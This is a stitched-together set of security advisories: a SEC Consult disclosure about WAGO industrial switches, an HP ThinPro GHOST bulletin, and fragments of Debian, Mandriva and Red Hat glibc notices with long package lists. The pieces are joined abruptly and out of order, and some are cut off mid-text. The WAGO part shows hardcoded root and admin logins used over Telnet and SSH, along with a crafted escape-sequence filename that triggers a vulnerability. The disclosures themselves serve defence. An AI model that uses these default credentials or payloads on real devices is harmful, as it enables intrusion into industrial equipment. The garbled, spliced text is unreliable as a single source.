iQIcBAEBCAAGBQJWDB2wAAoJEBcWfLTuOo7t0sYP/2L3JOGPkHH8XUh2YHpu5qaw S5F2v+SRpWleKQBVsGZ7oA8PV0rBTzEkzt8K1tNxYmxEqL9f/TpRiGoforn89thO /hOtmVOfUcBjPZ4XKwMVzycfSMC9o6LxWTLEKDVylE+F+5jkXafOC9QaqD11dxX6 QhENkpS1BwrKhyaSVxEcgBQtZM9aTsVdZ78rTCb9XTn6gDnvs8NfIQquFOnaQT54 YJ36e5UcUsnyBIol+yGDbC3ZEhzSVIGE5/8/NFlFfRXLgnJArxD8lqz8WdfU9fop hpT/dDqqAdYbRcW1ihcG1haiNHgP9yQCY5jRNfttb+Tc/kIi/QmPkEO0QS8Ygt/O c3sUbNulr1LCinymFVwx16CM1DplGS/GmBL18BAEBnL6yi9tEhYDynZWLSEa37VR 8q802rXRSF10Wct9/kEeR4HgY/1k0KK/4Uddm3c0YyOU21ya7NAhoHGwmDa9g11r N1TniOK8tPiCGjRNOJwuF6DKxD9L3Fv44bVlxAarGUGYkICqzaNS+bgKI1aQNahT fJ91x5uKD4+L9v9c5slkoDIvWqIhO9oyuxgnmC5GstkwFplFXSOklLkTktjLGNn1 nJq8cPnZ/3E1RXTEwVhGljYw5pdZHNx98XmLomGrPqVlZfjGURK+5AXdf2pOlt2e g6jld/w5tPuCFhGucE7Z =XciV -----END PGP SIGNATURE----- . Independently operating for three generations, WAGO is the global leader of spring pressure electrical interconnect and automation solutions. For more than 60 years, WAGO has developed and produced innovative products for packaging, transportation, process, industrial and building automation markets amongst others. Aside from its innovations in spring pressure connection technology, WAGO has introduced numerous innovations that have revolutionized industry. Furthermore, hardcoded password hashes and credentials were also found by doing an automated scan with IoT Inspector. The validity of the password hashes and the embedded keys were also verified by emulating the device. The outdated version was found by IoT Inspector. The outdated version was found by IoT Inspector.
3) Hardcoded Credentials (CVE-2019-12550) The device contains hardcoded users and passwords which can be used to login via SSH and Telnet.
4) Embedded Private Keys (CVE-2019-12549) The device contains hardcoded private keys for the SSH daemon. The fingerprint of the SSH host key from the corresponding SSH daemon matches to the embedded private key. A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.
3) Hardcoded Credentials (CVE-2019-12550) The following credentials were found in the 'passwd' file of the firmware: root No password is set for the account [EMPTY PASSWORD] admin
By using these credentials, it's possible to connect via Telnet and SSH on the emulated device. Example for Telnet:
[root@localhost ~]# telnet 192.168.0.133 Trying 192.168.0.133... Connected to 192.168.0.133. Escape character is '^]'.
L2SWITCH login: root Password: ~ #
Example for SSH:
[root@localhost ~]# ssh 192.168.0.133 root@192.168.0.133's password: ~ #
4) Embedded Private Keys (CVE-2019-12549) The following host key fingerprint is shown by accessing the SSH daemon on the emulated device:
[root@localhost ~]# ssh 192.168.0.133 The authenticity of host '192.168.0.133 (192.168.0.133)' can't be established. RSA key fingerprint is SHA256:X5Vr0/x0/j62N/aqZmHz96ojwl8x/I8mfzuT8o6uZso. RSA key fingerprint is MD5:2e:65:85:fc:45:04:bd:68:30:74:51:45:7d:2f:95:e2.
This matches the embedded private key (which has been removed from this advisory): SSH Fingerprint: 2e:65:85:fc:45:04:bd:68:30:74:51:45:7d:2f:95:e2
Vulnerable / tested versions:
According to the vendor, the following versions are affected: * 852-303: <v1.2.2.S0 * 852-1305: <v1.1.6.S0 * 852-1505: <v1.1.5.S0
Vendor contact timeline:
2019-03-12: Contacting VDE CERT through info@cert.vde.com, received confirmation 2019-03-26: Asking for a status update, VDE CERT is still waiting for details 2019-03-28: VDE CERT requests information from WAGO again 2019-04-09: Asking for a status update 2019-04-11: VDE CERT: patched firmware release planned for end of May, requested postponement of advisory release 2019-04-16: VDE CERT: update regarding affected firmware versions 2019-04-24: Confirming advisory release for beginning of June 2019-05-20: Asking for a status update 2019-05-22: VDE CERT: no news from WAGO yet, 5th June release date 2019-05-29: Asking for a status update 2019-05-29: VDE CERT: detailed answer from WAGO, patches will be published on 7th June, SEC Consult proposes new advisory release date for 12th June 2019-06-07: VDE CERT provides security advisory information from WAGO; WAGO releases security patches 2019-06-12: Coordinated release of security advisory
Solution:
The vendor provides patches to their customers at their download page. The following versions fix the issues: * 852-303: v1.2.2.S0 * 852-1305: v1.1.6.S0 * 852-1505: v1.1.5.S0
According to the vendor, busybox and glibc have been updated and the embedded private keys are being newly generated upon first boot and after a factory reset. The root login via Telnet and SSH has been disabled and the admin account is documented and can be changed by the customer.
Workaround:
Restrict network access to the device & SSH server. Weber / @2019
. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
Note: the current version of the following document is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/ docDisplay?docId=emr_na-c04602055
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c04602055 Version: 1
HPSBHF03289 rev.1- HP ThinClient PCs running ThinPro Linux, Remote Code Execution, Denial of Service, Disclosure of information
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2015-03-20 Last Updated: 2015-03-20
Potential Security Impact: Remote code execution, denial of service, disclosure of information
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY A potential security vulnerability has been identified with HP ThinPro Linux This is the glibc vulnerability known as "GHOST", which could be exploited remotely to allow execution of arbitrary code. This update also addresses other vulnerabilities in SSL that would remotely allow denial of service, disclosure of information and other vulnerabilities.
References:
CVE-2015-0235 (SSRT101953) CVE-2014-3569 CVE-2014-3570 CVE-2014-3571 CVE-2014-3572 CVE-2014-8275 CVE-2015-0204 CVE-2015-0205 CVE-2015-0206
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP ThinPro Linux (x86) v5.1 HP ThinPro Linux (x86) v5.0 HP ThinPro Linux (x86) v4.4 HP ThinPro Linux (x86) v4.3 HP ThinPro Linux (x86) v4.2 HP ThinPro Linux (x86) v4.1 HP ThinPro Linux (ARM) v4.4 HP ThinPro Linux (ARM) v4.3 HP ThinPro Linux (ARM) v4.2 HP ThinPro Linux (ARM) v4.1
BACKGROUND
CVSS 2.0 Base Metrics
Reference Base Vector Base Score CVE-2014-3569 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0 CVE-2014-3570 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0 CVE-2014-3571 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0 CVE-2014-3572 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0 CVE-2014-8275 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0 CVE-2015-0204 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0 CVE-2015-0205 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0 CVE-2015-0206 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0 CVE-2015-0235 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0 =========================================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002
RESOLUTION
HP has released the following software updates to resolve the vulnerability for HP ThinPro Linux.
Softpaq: http://ftp.hp.com/pub/softpaq/sp70501-71000/sp70649.exe
Easy Update Via ThinPro / EasyUpdate (x86):
http://ftp.hp.com/pub/tcdebian/updates/4.1/service_packs/security-sp-2.0-all- 4.1-4.3-x86.xar
http://ftp.hp.com/pub/tcdebian/updates/4.2/service_packs/security-sp-2.0-all- 4.1-4.3-x86.xar
http://ftp.hp.com/pub/tcdebian/updates/4.3/service_packs/security-sp-2.0-all- 4.1-4.3-x86.xar
http://ftp.hp.com/pub/tcdebian/updates/4.4/service_packs/security-sp-2.1-all- 4.4-x86.xar
http://ftp.hp.com/pub/tcdebian/updates/5.0/service_packs/security-sp-2.1-all- 5.0-5.1-x86.xar
http://ftp.hp.com/pub/tcdebian/updates/5.1/service_packs/security-sp-2.1-all- 5.0-5.1-x86.xar
Via ThinPro / EasyUpdate (ARM):
http://ftp.hp.com/pub/tcdebian/updates/4.1/service_packs/security-sp-2.0-all- 4.1-4.3-armel.xar
http://ftp.hp.com/pub/tcdebian/updates/4.2/service_packs/security-sp-2.0-all- 4.1-4.3-armel.xar
http://ftp.hp.com/pub/tcdebian/updates/4.3/service_packs/security-sp-2.0-all- 4.1-4.3-armel.xar
http://ftp.hp.com/pub/tcdebian/updates/4.4/service_packs/security-sp-2.0-all- 4.4-armel.xar
Note: Known issue on security-sp-2.0-all-4.1-4.3-arm.xar: With the patch applied, VMware cannot connect if security level is set to "Refuse insecure connections". Updating VMware to the latest package on ftp.hp.com will solve the problem.
HISTORY Version:1 (rev.1) - 20 March 2015 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins
Security Bulletin Archive: A list of recently released Security Bulletins is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/
Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.
3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX
Copyright 2015 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
The original glibc bug was reported by Peter Klotz.
CVE-2014-7817
Tim Waugh of Red Hat discovered that the WRDE_NOCMD option of the
wordexp function did not suppress command execution in all cases.
This allows a context-dependent attacker to execute shell
commands.
CVE-2012-6656 CVE-2014-6040
The charset conversion code for certain IBM multi-byte code pages
could perform an out-of-bounds array access, causing the process
to crash. In some scenarios, this allows a remote attacker to
cause a persistent denial of service.
For the upcoming stable distribution (jessie) and the unstable distribution (sid), the CVE-2015-0235 issue has been fixed in version 2.18-1 of the glibc package.
We recommend that you upgrade your eglibc packages.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235 https://rhn.redhat.com/errata/RHSA-2015-0092.html
Updated Packages:
Mandriva Business Server 1/X86_64: 678efef85b85206451ef8927bad808e0 mbs1/x86_64/glibc-2.14.1-12.11.mbs1.x86_64.rpm 46cd508f03e36c1e4f752c317852ec8e mbs1/x86_64/glibc-devel-2.14.1-12.11.mbs1.x86_64.rpm 069302c80e3b79504e2b0eaaa72c2745 mbs1/x86_64/glibc-doc-2.14.1-12.11.mbs1.noarch.rpm 3a841c0295823354655dd3e7734ada0b mbs1/x86_64/glibc-doc-pdf-2.14.1-12.11.mbs1.noarch.rpm 11a672a0b4bae77c7adfa803bea9871f mbs1/x86_64/glibc-i18ndata-2.14.1-12.11.mbs1.x86_64.rpm d3f113ccec4f18e4bb08c951625e51d7 mbs1/x86_64/glibc-profile-2.14.1-12.11.mbs1.x86_64.rpm f6d6aa5806dd747e66996ea8cc01c9b4 mbs1/x86_64/glibc-static-devel-2.14.1-12.11.mbs1.x86_64.rpm 98cc6eae0234eeed945712bbc8b2c0ea mbs1/x86_64/glibc-utils-2.14.1-12.11.mbs1.x86_64.rpm bf6f2fcc3dd21bd8380aac40e91bb802 mbs1/x86_64/nscd-2.14.1-12.11.mbs1.x86_64.rpm f597e4d6241c76701733d730e84f5714 mbs1/SRPMS/glibc-2.14.1-12.11.mbs1.src.rpm
To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
===================================================================== Red Hat Security Advisory
Synopsis: Critical: glibc security update Advisory ID: RHSA-2015:0092-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0092.html Issue date: 2015-01-27 CVE Names: CVE-2015-0235 =====================================================================
- Summary:
Updated glibc packages that fix one security issue are now available for Red Hat Enterprise Linux 6 and 7.
Red Hat Product Security has rated this update as having Critical security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64 Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node (v. 6) - x86_64 Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64 Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
- Description:
The glibc packages provide the standard C libraries (libc), POSIX thread libraries (libpthread), standard math libraries (libm), and the Name Server Caching Daemon (nscd) used by multiple programs on the system. Without these libraries, the Linux system cannot function correctly. (CVE-2015-0235)
Red Hat would like to thank Qualys for reporting this issue.
All glibc users are advised to upgrade to these updated packages, which contain a backported patch to correct this issue.
- Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied.
This update is available via the Red Hat Network. Details on how to use the Red Hat Network to apply this update are available at https://access.redhat.com/articles/11258
- Package List:
Red Hat Enterprise Linux Desktop (v. 6):
Source: glibc-2.12-1.149.el6_6.5.src.rpm
i386: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-headers-2.12-1.149.el6_6.5.i686.rpm glibc-utils-2.12-1.149.el6_6.5.i686.rpm nscd-2.12-1.149.el6_6.5.i686.rpm
x86_64: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-2.12-1.149.el6_6.5.x86_64.rpm glibc-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.x86_64.rpm glibc-headers-2.12-1.149.el6_6.5.x86_64.rpm glibc-utils-2.12-1.149.el6_6.5.x86_64.rpm nscd-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
i386: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm
x86_64: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source: glibc-2.12-1.149.el6_6.5.src.rpm
x86_64: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-2.12-1.149.el6_6.5.x86_64.rpm glibc-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.x86_64.rpm glibc-headers-2.12-1.149.el6_6.5.x86_64.rpm glibc-utils-2.12-1.149.el6_6.5.x86_64.rpm nscd-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
x86_64: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source: glibc-2.12-1.149.el6_6.5.src.rpm
i386: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-headers-2.12-1.149.el6_6.5.i686.rpm glibc-utils-2.12-1.149.el6_6.5.i686.rpm nscd-2.12-1.149.el6_6.5.i686.rpm
ppc64: glibc-2.12-1.149.el6_6.5.ppc.rpm glibc-2.12-1.149.el6_6.5.ppc64.rpm glibc-common-2.12-1.149.el6_6.5.ppc64.rpm glibc-debuginfo-2.12-1.149.el6_6.5.ppc.rpm glibc-debuginfo-2.12-1.149.el6_6.5.ppc64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.ppc.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.ppc64.rpm glibc-devel-2.12-1.149.el6_6.5.ppc.rpm glibc-devel-2.12-1.149.el6_6.5.ppc64.rpm glibc-headers-2.12-1.149.el6_6.5.ppc64.rpm glibc-utils-2.12-1.149.el6_6.5.ppc64.rpm nscd-2.12-1.149.el6_6.5.ppc64.rpm
s390x: glibc-2.12-1.149.el6_6.5.s390.rpm glibc-2.12-1.149.el6_6.5.s390x.rpm glibc-common-2.12-1.149.el6_6.5.s390x.rpm glibc-debuginfo-2.12-1.149.el6_6.5.s390.rpm glibc-debuginfo-2.12-1.149.el6_6.5.s390x.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.s390.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.s390x.rpm glibc-devel-2.12-1.149.el6_6.5.s390.rpm glibc-devel-2.12-1.149.el6_6.5.s390x.rpm glibc-headers-2.12-1.149.el6_6.5.s390x.rpm glibc-utils-2.12-1.149.el6_6.5.s390x.rpm nscd-2.12-1.149.el6_6.5.s390x.rpm
x86_64: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-2.12-1.149.el6_6.5.x86_64.rpm glibc-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.x86_64.rpm glibc-headers-2.12-1.149.el6_6.5.x86_64.rpm glibc-utils-2.12-1.149.el6_6.5.x86_64.rpm nscd-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
i386: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm
ppc64: glibc-debuginfo-2.12-1.149.el6_6.5.ppc.rpm glibc-debuginfo-2.12-1.149.el6_6.5.ppc64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.ppc.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.ppc64.rpm glibc-static-2.12-1.149.el6_6.5.ppc.rpm glibc-static-2.12-1.149.el6_6.5.ppc64.rpm
s390x: glibc-debuginfo-2.12-1.149.el6_6.5.s390.rpm glibc-debuginfo-2.12-1.149.el6_6.5.s390x.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.s390.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.s390x.rpm glibc-static-2.12-1.149.el6_6.5.s390.rpm glibc-static-2.12-1.149.el6_6.5.s390x.rpm
x86_64: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source: glibc-2.12-1.149.el6_6.5.src.rpm
i386: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-headers-2.12-1.149.el6_6.5.i686.rpm glibc-utils-2.12-1.149.el6_6.5.i686.rpm nscd-2.12-1.149.el6_6.5.i686.rpm
x86_64: glibc-2.12-1.149.el6_6.5.i686.rpm glibc-2.12-1.149.el6_6.5.x86_64.rpm glibc-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-devel-2.12-1.149.el6_6.5.i686.rpm glibc-devel-2.12-1.149.el6_6.5.x86_64.rpm glibc-headers-2.12-1.149.el6_6.5.x86_64.rpm glibc-utils-2.12-1.149.el6_6.5.x86_64.rpm nscd-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
i386: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm
x86_64: glibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm glibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm glibc-static-2.12-1.149.el6_6.5.i686.rpm glibc-static-2.12-1.149.el6_6.5.x86_64.rpm
Red Hat Enterprise Linux Client (v. 7):
Source: glibc-2.17-55.el7_0.5.src.rpm
x86_64: glibc-2.17-55.el7_0.5.i686.rpm glibc-2.17-55.el7_0.5.x86_64.rpm glibc-common-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-devel-2.17-55.el7_0.5.i686.rpm glibc-devel-2.17-55.el7_0.5.x86_64.rpm glibc-headers-2.17-55.el7_0.5.x86_64.rpm glibc-utils-2.17-55.el7_0.5.x86_64.rpm nscd-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64: glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-static-2.17-55.el7_0.5.i686.rpm glibc-static-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: glibc-2.17-55.el7_0.5.src.rpm
x86_64: glibc-2.17-55.el7_0.5.i686.rpm glibc-2.17-55.el7_0.5.x86_64.rpm glibc-common-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-devel-2.17-55.el7_0.5.i686.rpm glibc-devel-2.17-55.el7_0.5.x86_64.rpm glibc-headers-2.17-55.el7_0.5.x86_64.rpm glibc-utils-2.17-55.el7_0.5.x86_64.rpm nscd-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64: glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-static-2.17-55.el7_0.5.i686.rpm glibc-static-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: glibc-2.17-55.el7_0.5.src.rpm
ppc64: glibc-2.17-55.el7_0.5.ppc.rpm glibc-2.17-55.el7_0.5.ppc64.rpm glibc-common-2.17-55.el7_0.5.ppc64.rpm glibc-debuginfo-2.17-55.el7_0.5.ppc.rpm glibc-debuginfo-2.17-55.el7_0.5.ppc64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.ppc.rpm glibc-debuginfo-common-2.17-55.el7_0.5.ppc64.rpm glibc-devel-2.17-55.el7_0.5.ppc.rpm glibc-devel-2.17-55.el7_0.5.ppc64.rpm glibc-headers-2.17-55.el7_0.5.ppc64.rpm glibc-utils-2.17-55.el7_0.5.ppc64.rpm nscd-2.17-55.el7_0.5.ppc64.rpm
s390x: glibc-2.17-55.el7_0.5.s390.rpm glibc-2.17-55.el7_0.5.s390x.rpm glibc-common-2.17-55.el7_0.5.s390x.rpm glibc-debuginfo-2.17-55.el7_0.5.s390.rpm glibc-debuginfo-2.17-55.el7_0.5.s390x.rpm glibc-debuginfo-common-2.17-55.el7_0.5.s390.rpm glibc-debuginfo-common-2.17-55.el7_0.5.s390x.rpm glibc-devel-2.17-55.el7_0.5.s390.rpm glibc-devel-2.17-55.el7_0.5.s390x.rpm glibc-headers-2.17-55.el7_0.5.s390x.rpm glibc-utils-2.17-55.el7_0.5.s390x.rpm nscd-2.17-55.el7_0.5.s390x.rpm
x86_64: glibc-2.17-55.el7_0.5.i686.rpm glibc-2.17-55.el7_0.5.x86_64.rpm glibc-common-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-devel-2.17-55.el7_0.5.i686.rpm glibc-devel-2.17-55.el7_0.5.x86_64.rpm glibc-headers-2.17-55.el7_0.5.x86_64.rpm glibc-utils-2.17-55.el7_0.5.x86_64.rpm nscd-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64: glibc-debuginfo-2.17-55.el7_0.5.ppc.rpm glibc-debuginfo-2.17-55.el7_0.5.ppc64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.ppc.rpm glibc-debuginfo-common-2.17-55.el7_0.5.ppc64.rpm glibc-static-2.17-55.el7_0.5.ppc.rpm glibc-static-2.17-55.el7_0.5.ppc64.rpm
s390x: glibc-debuginfo-2.17-55.el7_0.5.s390.rpm glibc-debuginfo-2.17-55.el7_0.5.s390x.rpm glibc-debuginfo-common-2.17-55.el7_0.5.s390.rpm glibc-debuginfo-common-2.17-55.el7_0.5.s390x.rpm glibc-static-2.17-55.el7_0.5.s390.rpm glibc-static-2.17-55.el7_0.5.s390x.rpm
x86_64: glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-static-2.17-55.el7_0.5.i686.rpm glibc-static-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: glibc-2.17-55.el7_0.5.src.rpm
